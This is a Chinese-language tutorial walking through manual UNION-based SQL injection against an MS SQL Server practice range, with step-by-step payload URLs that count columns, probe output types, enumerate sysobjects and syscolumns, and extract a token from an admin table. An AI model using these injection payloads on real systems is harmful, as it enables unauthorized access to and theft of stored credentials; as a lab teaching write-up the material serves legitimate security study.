MS SQL数据库——union注入

目录

前言:

正文

0x01 mssql显错注入 

1)猜字段

2)判断回显点

3)拓展

4)靶场实战

        ①查询表名

        ② 查询字段

        ③查询数据

文末


 

前言:

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 --+(注释符一样)

由于 mssql没有去研究,这里就介绍下手工注入的方法

 

正文

这里会介绍 ms sql显错注入

然后再盲注,再反弹

0x01 mssql显错注入 

以联合查询为例子,首先猜字段

然后联合查询,记住要写成 union all

然后猜输出点要使用  null 去填充

注释符为  --+

select name from dbo.sysdatabases //查询系统库
sysobjects  //查询系统表  (xtype='U')
syscolumns 字段 (id=) 指定 sysobjects库中对应id

1)猜字段

进入掌控 靶场

MS SQL数据库——union注入_第1张图片

然后我们要先进行闭合,然后才 order by 排序

http://59.63.200.79:8015/?id=1' order by 3-- q
http://59.63.200.79:8015/?id=1' order by 4-- q

这时候发现,order by 3正常,order by 4错误。这时候判断字段有 3个

MS SQL数据库——union注入_第2张图片

 

2)判断回显点

根据报错信息,我们知道有news表,那么就先写一下是个什么梗。构造个 payload

http://59.63.200.79:8015/?id=1' union  select 1,2,3 from news-- q

这时候发现居然报错了

MS SQL数据库——union注入_第3张图片

其实因为 union all select 要加个all,mysql也可以加,如果重复的话也可以显示

然后发现还是报错

MS SQL数据库——union注入_第4张图片

为什么会报错,因为数据类型问题,如果我们不知道是什么数据类型的话

这里的 1,2,3 可以写成 null,null,null,然后构造payload,如下

这时候就发现了页面回显正常

http://59.63.200.79:8015/?id=1' union all select null,null,null from news-- q

MS SQL数据库——union注入_第5张图片

这时候我们就要判断输出点的数据类型了,在第三个null换成 1

?id=1' union all select null,null,1 from news-- q

发现页面报错了, 那就继续构造payload,把 1改成 字符串 'aaa' 。这时候发现页面正常了,输出位也出来了

?id=1' union all select null,null,'aaa' from news-- q

MS SQL数据库——union注入_第6张图片

接下来就是查询系统自带库,自带库中的表,表中的字段

库名 -> 表名 -> 字段

3)拓展

①在MS SQL数据库中查询库名 语句

这里我使用某云的一个,进行白嫖

然后使用 select*from dbo.sysdatabases

select*from 和mysql数据库一样,联合查询,然后dbo只是个前缀,就跟一般文件名的后缀那样的一个意思

然后 sys是系统,databases就是库的意思

结合一下,就是  select * from dbo.sysdatabases

MS SQL数据库——union注入_第7张图片

这时候发现有3个库,前面2个是默认库

最后一个是自己创建的一个库

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。

其中,model和tempdb是默认没有数据表的。

 

②在MS SQL数据库中查询表名 语句

这个查询表的语句和 查询库的语句是一样的,所以就不解释了

objects是对象的意思,学过编程都知道

select*from dbo.sysobjects

MS SQL数据库——union注入_第8张图片

这时候发现有77 条的数据,多的吓人~~~~~

这时候我们可以看一下特殊传参

MS SQL数据库——union注入_第9张图片

这时候我们发现 xtype这个特殊的传参。我们可以指定一个条件 xtype='U'

MS SQL数据库——union注入_第10张图片

select*from dbo.sysobjects where xtype='U'

其实可以理解成用户创建的 表 U可以理解成 Ueser,但是这里的 U要大写

然后发现,成功的查询到了一条数据,这个 hello 就是我刚刚创建的一个表

而 xtype='S'  其实就是sys系统的意思,就是系统默认的库

 

③在MS SQL数据库中查询字段名 语句

这时候构建个查询字段的语句,这时候发现又有好多的数据

几百条,字段这边也不可以使用 xtype了

select*from dbo.syscolumns

MS SQL数据库——union注入_第11张图片

但是我们发现这个地方有个传参,叫做 id

然后看下什么的库,发现hello 库的 id为 245575913

这里其实是个对应的关系

?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q

然后发现了这些字段分别为 a,b,c,d(因为我创建的时候是这样命名的)

然后,我们进入靶场,看下要怎么做

 

4)靶场实战

这里我们库名就不纠结了,没啥重要的

①查询表名

这里直接查询表名,构建个payload

?id=1' union all select null,null,null from dbo.sysobjects where xtype='U' -- q

然后得判断这3个的null,是个数字类型传参,还是字符串类型

?id=1' union all select 520,null,null from dbo.sysobjects where xtype='U' -- q

MS SQL数据库——union注入_第12张图片

这个时候页面前面的id出现了,变成了这样子

那么我们就可以把第一个null改为id

?id=1' union all select id,null,null from dbo.sysobjects where xtype='U' -- q

MS SQL数据库——union注入_第13张图片

出现了id,这时候就可以再看下字段名是什么

MS SQL数据库——union注入_第14张图片

我们把第二个的null改为 name,就可以查看了

如果第二个不可以,我们就可以把第三个的null 改为 name

这时候构造payload,成功的知道了表名和id了

?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- q

MS SQL数据库——union注入_第15张图片

 

 

② 查询字段

这时候我们就不需要id了,就把id改为null

然后我们是要查询字段,使用syscolumns,再指定admin所对应的id。构造一个payload

?id=1' union all select null,name,null from dbo.syscolumns where id=1977058079 -- q

MS SQL数据库——union注入_第16张图片

现在我们知道了字段名和表名,就可以查询数据了

 

③查询数据

知道了表和字段名,就可以查询数据了

和MySQL数据库的注入语句差不多, from amdin表中的

?id=1' union all select null,token,null from admin -- q

MS SQL数据库——union注入_第17张图片

这就是ms sql数据库的显错注入方式

 

文末:

没啥难度的,理解一下mysql和 mssql数据库的区别,以及特性,就比较容易懂了

还可以去看看这篇文章,个人觉得很全面

ms sql数据库及注入方法

 

 

你可能感兴趣的:(web安全,mssql,数据库)